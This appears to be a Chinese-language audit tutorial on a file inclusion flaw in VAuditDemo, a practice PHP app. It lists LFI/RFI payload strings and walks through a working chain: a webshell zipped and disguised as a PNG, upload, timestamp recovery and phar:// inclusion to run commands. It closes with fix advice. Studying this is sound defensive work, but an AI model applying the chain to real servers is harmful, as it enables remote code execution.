VAuditDemo-文件包含漏洞的審計

包含漏洞

include、require等先關函數,include($file)php

文件包含漏洞的問題在於參數可控(路徑、文件名、後綴) include($path.$filename.$ext)html

包含漏洞分類:

  • 1.本地文件包含LFI
  • 2.遠程文件包含RFI(allow_url_include默認爲Off)

1、本地文件包含

  • 限制後綴 *.php
    • 僞協議 zip://&phar//
    • 截斷大法
  • 日誌&環境變量
  • session文件
  • 結合phpinfo()包含臨時文件
  • 無後綴限制,包含任意文件
  • 讀取任意文件,?file=php://filter/convert.base64-encode/resource=index.php

2、遠程文件包含RFI

  • allow_url_include&&allow_url_fopen=Off
    • 包含共享文件,file=\\192.168.1.1\share\xxx.php
    • 利用data URIs,?file=data://text://text/plain,base64,SSBsb3ZIFBIUAo=
  • allow_url_fopen=On
    • 遠程代碼執行?file=[http|https|ftp]://xxx/file
    • 利用XSS執行任意代碼?file=http://xxx/xss.php?xss=phpcode
    • 遠程代碼執行?file=[http|https|ftp]://xxx/file.txt[?|%23]

index.phpmysql

index.php中存在如下包含代碼,能夠包含一個.inc結尾的文件。此時咱們能夠考慮使用僞協議進行繞過。web

<?php /* Include */ if (isset($_GET['module'])){ include($_GET['module'].'.inc'); // phar://path/file/xx.inc }else{ ?>

phar://sql

Phar歸檔最好的特色是能夠方便地將多個文件組合成一個文件。所以,phar歸檔提供了一種方法,能夠將完整的PHP應用程序分發到單個文件中,並從該文件運行它,而不須要將其提取到磁盤。此外,PHP能夠像執行任何其餘文件同樣輕鬆地執行phar歸檔,不管是在命令行上仍是在web服務器上。shell

lib.php數組

lib.php中已經對上傳文件後綴作了嚴格的限制,可是並未對文件內容進行檢測。緩存

function is_pic( $file_name ) { $extend =explode( "." , $file_name ); $va=count( $extend )-1; if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) { return 1; } else return 0; }

搜索php處理上傳文件的代碼$_FILE,找到代碼位置,分析上傳邏輯。bash

<?php include_once('../sys/config.php'); $uploaddir = '../uploads'; if (isset($_POST['submit']) && isset($_FILES['upfile'])) { if(is_pic($_FILES['upfile']['name'])){ //判斷文件後綴 $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name']; //構造上傳的文件名 u_時間戳_文件名 if (move_uploaded_file($_FILES['upfile']['tmp_name'], $avatar)) { //更新用戶信息 $query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'"; mysql_query($query, $conn) or die('update error!'); mysql_close($conn); //刷新緩存 $_SESSION['avatar'] = $avatar; // 將路徑存儲在session中,使用session進行文件讀取操做,並未將文件路徑輸出。 header('Location: edit.php'); } else { echo 'upload error<br />'; echo '<a href="edit.php">返回</a>'; } }else{ echo '只能上傳 jpg png gif!<br />'; echo '<a href="edit.php">返回</a>'; } } else { not_find($_SERVER['PHP_SELF']); } ?>

全局搜索,判斷是否只是經過session讀取文件,並不會輸出文件路徑。搜索$_SESSION['avatar']服務器

avatar.php:

<?php error_reporting(0); session_start(); header("Content-type:image/jpeg"); echo file_get_contents($_SESSION['avatar']); //LFI ?>

從以上代能夠看出並未對文件路徑進行輸出,可是使用了file_get_contents函數讀取了文件的內容。也就是說,當咱們經過僞協議讀取一個包含了php代碼的壓縮文件時,其中的php代碼將會被執行。

可是,若是想實現上述構想,就須要先獲取到文件名中的時間戳。當咱們上傳圖片時,響應包中將會記錄上傳操做的時間,咱們能夠將該時間轉換爲時間戳,該時間戳通常會和上傳文件名中的時間戳相差不大。

if(is_pic($_FILES['upfile']['name'])){ $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];

咱們先準備一個一句話腳本,將其後綴改成inc,而後將inc文件打包爲zip,而後再將後綴改成png。 這樣咱們的上傳文件就製做好了。 v.php-->v.inc-->v.zip-->v.png

上傳文件,同時開啓F12查看響應包信息,咱們想要的是響應包中的DATA字段的信息。

ache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: Keep-Alive Content-Length: 0 Content-Type: text/html Date: Fri, 10 Apr 2020 13:14:12 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Keep-Alive: timeout=5, max=100 Location: edit.php Pragma: no-cache Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02 X-Powered-By: PHP/5.4.45

解密時間戳

將上傳響應包中的DATA字段內容,放入下列腳本中便可轉換爲時間戳。

<?php date_default_timezone_set('UTC'); echo strtotime('Fri, 10 Apr 2020 13:14:12 GMT'); ?> //輸出結果以下: 1586524452

咱們能夠查看uploads中的文件名,對比一下兩個的時間戳。兩個是相同的,固然在大多數狀況下兩個時間可能會存在少量的誤差,此時就咱們能夠經過遍歷最後一位或最後兩位,通常就能夠找到正確的時間戳。

1586524452 u_1586524452_1.png

 

 

 

而後咱們就能夠使用僞協議進行文件包含了。使用phar來打開壓縮包僞圖片u_1586524452_1.png,而後讀取其中的1.inc文件內容。

phar://uploads/u_1586524452_1.png/1.inc

訪問如下連接便可解析php內容:

http://www.code.com/index.php?module=phar://uploads/u_1586524452_1.png/v

POST:
cmd=phpinfo() 嘗試解析phpinfo(),能夠成功解析,使用shell管理工具也能夠成功鏈接webshell,說明咱們成功包含了文件。

 

漏洞修復

因爲已經規定了須要包含文件的後綴爲.inc,所以能夠從限制文件路徑和文件名兩個方面進行考慮。能夠定義一個數組,只容許包含該數組內已存在的文件的內容。或者限制文件包含的路徑,一樣只容許包含部分路徑的文件。

審計思路整理

  • 1.index.php經過傳入module變量來包含.inc文件
  • 2.使用僞協議zip://&phar://突破
  • 3.updateAvatar.php對文件上傳只進行了後綴限制,未進行上傳內容檢查。
  • 4.將執行上傳操做的響應時間轉換爲時間戳,經過遍歷最後幾位數字來找到上傳文件名中的時間戳,獲取上傳文件名。
  • 5.經過上傳構造好的文件,使用phar僞協議打開並執行其中的.inc文件,當.inc的內容爲PHP腳本時,便可解析php內容。
相關文章
相關標籤/搜索